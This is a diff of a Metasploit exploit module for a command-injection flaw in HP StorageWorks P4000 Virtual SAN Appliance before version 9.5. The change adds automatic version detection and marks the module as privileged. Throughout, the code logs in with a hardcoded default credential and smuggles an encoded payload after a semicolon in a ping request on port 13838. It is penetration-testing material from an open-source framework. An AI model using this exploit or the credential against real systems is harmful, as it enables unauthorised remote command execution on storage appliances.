@@ -17,7 +17,7 @@ def initialize(info={})
17
17
'Name' => "HP StorageWorks P4000 Virtual SAN Appliance Command Execution" ,
18
18
'Description' => %q{
19
19
This module exploits a vulnerability found in HP's StorageWorks P4000 VSA on
20
- versions prior to 9.5. By using a default account credential, it is possible
20
+ versions prior to 9.5. By using a default account credential, it is possible
21
21
to inject arbitrary commands as part of a ping request via port 13838.
22
22
} ,
23
23
'License' => MSF_LICENSE ,
@@ -50,9 +50,11 @@ def initialize(info={})
50
50
'Arch' => ARCH_CMD ,
51
51
'Targets' =>
52
52
[
53
- [ 'HP VSA prior to 9.5' , { } ]
53
+ [ 'Automatic' , { } ] ,
54
+ [ 'HP VSA up to 8.5' , { 'Version' => '8.5.0' } ] ,
55
+ [ 'HP VSA 9' , { 'Version' => '9.0.0' } ]
54
56
] ,
55
- 'Privileged' => false ,
57
+ 'Privileged' => true ,
56
58
'DisclosureDate' => "Nov 11 2011" ,
57
59
'DefaultTarget' => 0 ) )
58
60
@@ -75,20 +77,53 @@ def generate_packet(data)
75
77
pkt
76
78
end
77
79
80
+ def get_target
81
+ if target . name !~ /Automatic/
82
+ return target
83
+ end
78
84
79
- def exploit
80
- connect
81
-
82
- # Login packet
83
- print_status ( "#{ rhost } :#{ rport } Sending login packet" )
85
+ # Login at 8.5.0
84
86
packet = generate_packet ( "login:/global$agent/L0CAlu53R/Version \" 8.5.0\" " )
87
+ print_status ( "#{ rhost } :#{ rport } Sending login packet for version 8.5.0" )
88
+ sock . put ( packet )
89
+ res = sock . get_once
90
+ vprint_status ( Rex ::Text . to_hex_dump ( res ) ) if res
91
+ if res and res =~ /OK/ and res =~ /Login/
92
+ return targets [ 1 ]
93
+ end
94
+
95
+ # Login at 9.0.0
96
+ packet = generate_packet ( "login:/global$agent/L0CAlu53R/Version \" 9.0.0\" " )
97
+ print_status ( "#{ rhost } :#{ rport } Sending login packet for version 9.0.0" )
85
98
sock . put ( packet )
86
99
res = sock . get_once
87
100
vprint_status ( Rex ::Text . to_hex_dump ( res ) ) if res
101
+ if res and res =~ /OK/ and res =~ /Login/
102
+ return targets [ 2 ]
103
+ end
104
+
105
+ fail_with ( Msf ::Exploit ::Failure ::NoTarget , "#{ rhost } :#{ rport } - Target auto detection didn't work'" )
106
+ end
107
+
108
+ def exploit
109
+ connect
110
+
111
+ if target . name =~ /Automatic/
112
+ my_target = get_target
113
+ print_good ( "#{ rhost } :#{ rport } - Target #{ my_target . name } found" )
114
+ else
115
+ my_target = target
116
+ print_status ( "#{ rhost } :#{ rport } Sending login packet" )
117
+ packet = generate_packet ( "login:/global$agent/L0CAlu53R/Version \" #{ my_target [ 'Version' ] } \" " )
118
+ sock . put ( packet )
119
+ res = sock . get_once
120
+ vprint_status ( Rex ::Text . to_hex_dump ( res ) ) if res
121
+ end
88
122
89
123
# Command execution
90
124
print_status ( "#{ rhost } :#{ rport } Sending injection" )
91
125
data = "get:/lhn/public/network/ping/127.0.0.1/foobar;#{ payload . encoded } /"
126
+ data << "64/5/" if my_target . name =~ /9/
92
127
packet = generate_packet ( data )
93
128
sock . put ( packet )
94
129
res = sock . get_once
0 commit comments